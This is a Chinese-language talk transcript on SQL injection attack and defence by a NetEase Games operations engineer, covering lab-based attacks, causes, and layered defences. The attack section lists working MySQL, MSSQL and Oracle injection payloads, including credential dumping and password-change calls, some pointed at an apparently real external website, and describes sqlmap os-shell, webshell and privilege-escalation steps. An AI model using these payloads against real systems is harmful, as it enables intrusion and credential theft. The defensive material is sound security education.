《網易游戲運維林偉壕:永不落幕的數據庫SQL注入攻防戰》要點:
本文介紹了網易游戲運維林偉壕:永不落幕的數據庫SQL注入攻防戰,希望對您有用。如果有疑問,可以聯系我們。
講師介紹
主題簡介:
1、數據庫有什么安全問題
2、何為數據庫注入
3、數據庫注入攻擊實戰
4、為什么會發生數據庫注入
5、數據庫注入攻擊防御
記得以前有人說過,對于一家軟件公司來說,最重要的不是它的辦公樓,也不是它的股票,而是代碼.代碼這東西,說到底就是一堆數據.這話不假,但是不僅僅這樣,對于一家企業來說,它的用戶數據也是最重要的幾個之一.在座各位想必多為DBA或者數據分析相關崗位的同學,關于數據對企業的重要性,應該理解很深刻了.
那么,換一個角度,如果站在用戶角度,數據對他們而言,更是要害.從以前的“艷照門”、“電信詐騙”,到現在的“50億條公民信息泄露”,數據泄漏每天都在發生著.所以,不管是誰,不管站在企業還是用戶角度,保護數據安全是重中之重.今天的主題——數據庫注入攻防,就屬于數據安全這個領域的問題.
1、那些年泄漏的數據
說起數據庫存在的安全問題,大家必定會想到很多答案,可能因暴露外網被攻擊,可能因架構或網絡原因破壞數據一致性,可能因備份還原機制不可用丟數據.
但對于企業、用戶來說,數據泄漏卻是一個特別突出的問題.這里貼一張圖.如圖1,過去10年,中國互聯網泄漏了10億多條用戶信息,不過跟最新泄漏的“50億條公民信息”相比,簡直小巫見大巫.現在這些數據庫在互聯網上早就傳了一遍,網上很多“社工庫”的數據,如圖2,就是從這里來的.但還有很多是不公開的,還在地下買賣,恐怕我們現在知道的數據泄漏只是冰山一角.
圖1
圖2
2、泄漏的數據哪來的?
那么,這些數據是怎么泄漏的?根據搜狐網上的一些報道,我按類型整理了大概有6種途徑,分成用戶提供和不法分子利用2個大類,占比大概如圖3所示.
圖3
(1)用戶提供
首先,用戶隨意連接免費WIFI或者掃描二維碼會被盜取個人信息;此外,手機、電腦等終端感染病毒等惡意軟件,也會造成個人信息被竊取.但這些都是因為用戶自己的主動行為引起的.
(2)不法分子利用
今天,我們將從原理、攻防等方面去剖析數據庫注入.
1、原理
通過把惡意 SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,從而欺騙服務器執行惡意的SQL命令,而不是按照設計者意圖去執行SQL語句.從圖4可以看到,正常用戶輸入的是自己的賬號密碼,但攻擊者不會按開發者想法來,他會用各種畸形輸入來測試.比如圖4就是傳說中的“萬能密碼”,10年前,很多網站倒在它面前,就是因為完全信任用戶輸入.
圖4
2、有什么危害
看起來數據庫注入的危害可不止信息泄漏,破壞數據庫數據和進一步入侵也是入侵題中的應有之義.
跟其他的Web攻擊如XSS/CSRF/SSRF之類比有什么不同?
危害最大.根據OWASP(Open Web Application Security Project)2013年安全報告,如圖5,數據庫注入是最嚴重的Web安全問題.
圖5
直接攻擊數據庫,而數據是最敏感的.容易被深度利用,造成威脅擴散.剛才上面也提到,數據庫注入可以用來傳播木馬,甚至控制服務器,想象空間很大.
在網絡安全行業有一句話,“未知攻,焉知防”.所以我們要理解數據庫注入,想做好防御措施,必須先看看它是怎么攻擊數據庫的.
1、利用思路
攻擊一般可以采用手工和自動化工具兩種方式,各有千秋.
手工:
繁瑣、效率低;靈活、能夠根據站點防護措施隨時調整攻擊思路.
工具:
效率高、批量自動挖掘;但是容易被WAF(Web防火墻)識別、模式相對單一,不夠靈活.但還是事在人為,工具可以跟人一樣聰明,下面我們就利用神器讓注入“飛起來”吧.
主要會用到下面幾款工具.
2、滲透測試環境
要知道,在歐美,掃描別人網站可能違法,更別說入侵網站了.同理,我們的測試,也僅使用模擬環境.下面有很多Web滲透的模擬環境,部署起來非常簡單.
https://github.com/ethicalhack3r/DVWA
https://github.com/WebGoat/WebGoat
https://github.com/Audi-1/sqli-labs
https://hack.me/t/SQLi
https://github.com/davevs/dvxte
https://github.com/rapid7/metasploitable3
3、全景圖
在開始測試前,先整理一遍思路.通常滲透測試會遵循:信息采集、入口發現、入口測試、獲取webshell、提權等步驟.下面大概介紹下每個環節需要做的事情.
4、發現漏洞
nmap -p1-65535 192.168.115.131
發現開放tcp/80端口,為Web服務,手工驗證注入入口.
發現http://192.168.115.181/cat.php?id=1存在SQL注入.使用AWVS進行進一步驗證,如圖6.
圖6
5、脫庫
使用sqlmap全自動脫庫,掃出數據庫、表名、列等信息.
圖7
6、Getshell
也是使用sqlmap直接在SQL Shell里寫文件,當然也可以切換到–os-shell獲取操作系統shell直接執行系統命令,如圖8.
圖8
這里科普一下傳說中的“一句話木馬”、“小馬”、“大馬”.“一句話木馬”就是將接收任意字符進行執行的PHP/ASP/JSP文件,通常只有幾行,甚至只有一行;“小馬”就是“一句話木馬”或者功能比較簡單的Web木馬,“大馬”就是功能齊全的Web木馬,比如圖8所示,可以管理文件、數據庫、執行系統命令、端口掃描甚至端口轉發.
7、提權
從普通用戶變成root用戶.這個需要利用操作系統內核版本漏洞,所幸該內核版本(圖9)很低,真找到了內核exp(圖10),順利提權.
圖9
圖10
8、進階利用
提完權就算了?沒這么簡單,如果處于攻擊目的,實際上可做的事情太多了.
圖11
圖12
剛才完整介紹了一個自動SQL注入攻擊的過程,可能大家覺得還是不夠過癮,因為一路只看我在使用工具,連畸形SQL語句都沒看到,所以下面大概介紹一下針對MySQL、msSQL、Oracle等主流關系型數據庫的手工注入.
MySQL
圖13
http://192.168.115.131/cat.php?id=1′
直接在參數后面跟上’,或者\,如果沒有合理過濾,是會報語法錯誤的,不信你看看圖13.
http://192.168.115.131/cat.php?id=1%20and%201=2%20union%20select%201,user(),3,4
然后開始試探數據庫字段數、當前用戶,如圖14.
圖14
http://192.168.115.131/cat.php?id=1 and (select * from (select(sleep(5)))lsrk)
http://192.168.115.131/cat.php?id=1%20UNION%20
SELECT%201,concat(login,%27:%27,password),3,4%20FROM%20users;’
接下來是用來測試是否存在基于時間的盲注和查詢數據庫管理員帳號密碼的,拿到root賬號后可以去網上破解.
msSQL
這個思路跟MySQL一樣,只是需要msSQL的注釋符和MySQL有所不同,前者支持–,后者支持#,如圖15.
http://www.aquaservices.co.in/authorprofile.asp?id=13 order by 100–
Here comes the error : The order by position number 100 is out of range of the number of items
圖15
http://www.aquaservices.co.in/authorprofile.asp?id=13 and 0=1 Union All Select 1,@@version,3,4,5,6,db_name(),8–
http://www.aquaservices.co.in/authorprofile.asp?id=13;exec master.dbo.sp_password null,password,username;–
這里還可以執行存儲過程master.dbo.sp_password直接修改數據庫賬號密碼呢.
Oracle
思路也差不多,不過語法上稍微復雜點,如果語法不太熟,有個技巧,可以用sqlmap去跑PoC,如圖16,按照提醒去構造畸形輸入.
獲取數據庫版本信息
and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
開始爆庫
and 1=2 union select null,null,(select owner from all_tables where rownum=1) from dual
and 1=2 union select null,null,(select owner from all_table where rownum=1 and owner<>’第
一個庫名’) from dual
and 1=2 union select null,null,(select table_name from user_tables where rownum=1) from
Dual
圖16
MongoDB
上面講的都是關系型數據庫,非關系型數據庫MongoDB這些是不是就安全了?不是的,如圖17,密碼還是明文保存的呢.
圖17
經過上面數據庫注入的攻擊測試,相信大家再也不會心懷僥幸了,因為攻擊成本很低,不是嗎?那么,總結一下我們看到的,數據庫注入發生的原因是什么?
1、透過現象看本質
SQL注入可以分為平臺層注入和代碼層注入.
前者由不安全的數據庫配置或數據庫平臺的漏洞所致;
①不安全的數據庫配置;②數據庫平臺存在漏洞;
后者由于開發對輸入未進行細致過濾,從而執行非法數據查詢.
①不當的類型處理;
②不合理的查詢集處理;③不當的錯誤處理;
④轉義字符處理不合適;⑤多個提交處理不當.
2、代碼
首先,“信任,過猶不及”.很多時候,我們一直強調,站在開發者角度,用戶是不可信任的,未過濾或驗證用戶輸入以及輸出數據,就是給自己挖坑.比如下面這個:
$username = “aaa”;
$pwd = “fdsafda’ or ‘1’=’1”;
$sql = “SELECT * FROM table WHERE username = ‘{$username}’ AND pwd = ‘{$pwd}'”;
echo $sql; //輸出 SELECT * FROM table WHERE username = ‘aaa’ AND pwd = ‘fdsafda’ or ‘1’=’1′
?>
傳說中的“萬能密碼”利用的后臺代碼差不多就是這個渣樣.當然,現在幾乎不可能存在了,因為人總是會吸取教訓的,各種安全開發的理念還是逐漸深入人心了.
3、數據庫
站在運維角度,數據庫注入中的運維“三宗罪”分別是:
(1)空密碼/弱密碼.“空,那么空”,我耳朵里突然想起來金志文的《空城》.
mysql> select user,host,password from mysql.user;
+——+———–+———-+
| user | host | password |
+——+———–+———-+
| root | localhost | |
| root | 127.0.0.1 | |
| root | ::1 | |
(2)外網開放.數據庫開放外網,還不改端口(改了也沒用,因為現在都是全端口掃描的),這不是找抽嗎?
iptables-save | grep 3306
-A INPUT -p tcp -m tcp –dport 3306 -j ACCEPT
(3)用戶權限控制不當.按照最小權限原則,只給賬號需要的最小權限即可.
mysql> show grants for gs@101.101.101.101;
+———————————————–+
| Grants for gs@101.101.101.101;
+———————————————–+
| GRANT ALL PRIVILEGES ON `gameserver`.* TO ‘wscs_gs’@’101.101.101.101’
上文已介紹了數據庫注入的原因和形式,下文將從代碼、數據庫、Web Server和數據分析四個層面介紹如何防御數據庫注入攻擊.
1、代碼
SDL(Security Develop Lifecircle):軟件開發應當遵循“安全開發生命周期”,軟件測試需要增加安全測試的白盒與黑盒測試.
用戶是不可信的:輸入輸出都應當被過濾,至少應滿足以下4個編碼規則.
對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和 雙”-“進行轉換等.
不要使用動態拼裝SQL,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取.
不要把機密信息明文存放,加密或者hash掉密碼和敏感的信息.
應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行封裝.
下面我針對PHP和Pyth的反SQL注入講2個例子,因為平時用的比較多的是ThinkPHP和Flask這2個Web框架.
PHP
where方法使用字符串條件的時候,支持預處理(安全過濾).
$Model->where(“id=%d and username=’%s’ and xx=’%f'”,array($id,$username,$xx))->select();
模型的Query和execute方法 同樣支持預處理機制,例如:
$model->query(‘select * from user where id=%d and status=%d’,$id,$status);
Python
cur=db.cursor()
sql = “INSERT INTO test2(cid, author, content) VALUES (%s, %s, %s)” #使用%s而不是’%s’
sql=sql%(‘2′,’2′,’bb’)
cur.execute(sql,())
2、數據庫
從架構和運維兩方面談談如何在數據庫層面進行防御.
(1)架構
首先是架構層面,處于性能和安全考慮,可以在數據庫集群與Web Server等前端中間增加DBProxy的中間件,比如Batis或者MyCat.
DB-Proxy Batis MyCat
如圖18所示,MyCat中實現了MySQL的預處理協議,可以接收預處理命令的處理.當使用預處理查詢,也可以返回正確的二進制結果集包,通過這個預處理,可以實現對SQL注入的過濾和攔截.
圖18
開源SQL檢測、阻斷系統 Druid-SQL-Wall
Druid提供了WallFilter,基于SQL語義分析來實現防御SQL注入攻擊.
(2)運維
然后是運維層面,可以在進程管理、用戶授權、端口開放等方面進行攻擊緩解甚至遏制.
進程啟動用戶
mysql 23400 22671 0 Mar19 ? 00:13:25 /usr/sbin/mysqld –basedir=/home/mysql –datadir=/home/mysql –plugin-dir=/usr/lib/mysql/plugin –user=mysql –open-files-limit=8192 –pid-file=/var/run/mysqld/mysqld.pid –socket=/var/run/mysqld/mysqld.sock –port=3306
數據庫用戶授權
mysql> show grants for gs@101.101.101.101;
| GRANT SELECT,INSERT,DELETE,UPDATE,USAGE PRIVILEGES ON `gameserver`.* TO ‘gs’@’10.10.10.10’ BY PASSWORD ‘*89DCA7B59FD064E3A478xxxxxxxxxF272E7E’
iptables
-A INPUT -p tcp -m tcp –dport 3306 -j MYSQL
-A MYSQL -p tcp -m tcp –dport 3306 -j REJECT –reject-with icmp-port-unreachable
3、Web Server
接下來,除了前面講的代碼、數據庫層面進行數據庫注入的防御,其實如果有Web前端,一般還是可以在Web Server層面進行攔截,實現一個多層次的、立體的防護體系.
下面將介紹Web Server配置、Web防火墻兩方面的防御思路.
配置,配置,還是配置
在Web Server的vhost設置查詢字符串過濾,一旦用戶提交的字符串存在安全隱患,就會直接進行攔截.由于這個匹配度很高,誤殺可能性很低,不過在業務量比較大的情況下,會損耗Web Server一定性能.
server {
set $block_sql_injections 0;
if ($query_string ~ “union.*select.*(“) {
set $block_sql_injections 1;
}
if ($query_string ~ “union.*all.*select.*”) {
set $block_sql_injections 1;
}
if ($query_string ~ “concat.*(“) {
set $block_sql_injections 1;
}
if ($block_sql_injections = 1) {
return 444;
}
WAF
全稱是Web Application Firewall,跟Web Server耦合度很高,一般是作為Web Server的插件編譯安裝進去,常見的方案有下面幾種:
一般WAF支持的功能是在以下層面進行匹配、過濾.
4、日志分析
在海量的Web Server access.log中分析匹配攻擊模型,從中發現SQL注入或者GetShell的敏感語句.
比如下面這個wordpress的攻擊日志,通過報錯或者’\’敏感字符發現報警:
[07-Dec-2016 02:40:49] WordPress database error You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘WHERE id = -1\” at line 1 for query SELECT text, author_id, date FROM WHERE id = -1\’
現在通過日志大數據做安全防御的方案有這么幾種:
圖19
數據庫注入其實只是安全攻防的一個小小的領域,但因為涉及到企業、用戶數據,所以需要列入重點關注.但我們知道,道高一尺魔高一丈,在利益的驅使下攻擊不會停止,我們的防護也不會停止,這場攻防之戰永不落幕.
社工庫問答
https://www.zhihu.com/question/22827473
個人信息泄漏源
http://business.sohu.com/20160917/n468557286.shtml
SQL注入基礎
http://blog.csdn.net/pan_cras/article/details/52168448
SQL注入原理
http://blog.csdn.net/stilling2006/article/details/8526458/
Q1:開發學這個sqlmap,使用上有哪些難點?手冊中文版的么?
A1:如果不是基于sqlmap做二次開發,sqlmap學習門檻很低,只需要對照官方手冊(有中文版,安裝包的doc/translations/README-zh-CN.md)操作即可,就跟學習普通的Linux系統命令一樣簡單.如果開發同學想基于sqlmap做二次開發,難點主要在理解Sqlmap的整體框架,它在軟件工程上被推崇備至,就是因為在設計思想、性能處理上非常值得學習.此外,還可以自定義一些Tamper文件用于繞過服務端過濾,這個比較簡單,主要是字符轉換.sqlmap的學習手冊可以參考:http://www.secbox.cn/hacker/6311.html.
Q2:攻擊工具常用的有哪些?
A2:不同類型的攻擊常用工具都不同,這個回答起來太泛了.這里我們單純講數據庫注入需要用到的,信息收集通常使用nmap掃描開放端口、御劍掃描網站目錄,漏洞發現通?;谛畔⑹占褂肁WVS或者OpenVas進行Web或系統漏洞掃描,如果發現SQL注入,則分別使用sqlmap、Pangolin(穿山甲)等工具進行自動滲透,然后再基于漏洞點的權限決定是通過后臺上傳還是直接寫一句話使木馬到站點,之后,使用中國菜刀(一句話木馬連接工具)連接,再往后的攻擊主要靠思路,沒什么現成工具.
Q3:WAF可以檢測到SQL注入的行為嗎?
A3:可以.像HTTPGuard或者tengine_waf都支持SQL注入行為發現,主要原理也是依據正則表達式匹配,然后通過輸出的log來報警.
Q4:請問有什么好的相關書籍或者資料推薦,系統學習安全方面的知識
A4:1.建議先從Web安全入門,推薦《白帽子講Web安全》,同時學習Linux系統基礎知識,推薦《跟阿銘學linux》.2.學習系統安全相關知識.資料可以參考別人整理的Github上安全知識倉庫:http://www.uedbox.com/github-security-repo-collection/;以及知乎上面的專欄文章:https://zhuanlan.zhihu.com/p/25661457.
Q5:市場上有什么防數據庫注入的解決方案嗎?
A5:沒有單獨的防數據庫注入的產品或者商業方案,一般作為入侵檢測系統的子功能,或者Web站點安全防護解決方案的一部分.傳統安全廠商啟明星辰、綠盟都有入侵檢測產品,Web方面的360和安全狗用的比較多.如果是自己實現,就是本次分享提到的代碼、數據庫、Web Server、日志分析等幾個層面的方案.
Q6:科普下肉雞是什么?
A6:肉雞也稱傀儡機,是指可以被黑客遠程控制的機器.受害者被誘導點擊或者機器被黑客攻破或機器有漏洞被種植了木馬,黑客借此隨意操縱服機器并利用它做任何事情,比如DDoS.
Q7:可以用admin權限,上傳一個1像素的木馬到主頁上抓肉雞,不是更好嗎?
A7:你這里說的應該是網頁掛馬,也是抓肉雞的一種方式.但是要獲取admin權限,作為非法用戶,本身就要通過入侵去實現的.
Q8:那些搞破解的是不是專做這些事?
A8:數據庫注入跟破解其實不是一個領域的問題,破解更多的是應用程序的逆向,比如破解商業軟件的License之類的.
原文來自微信公眾號:DBAPlus社群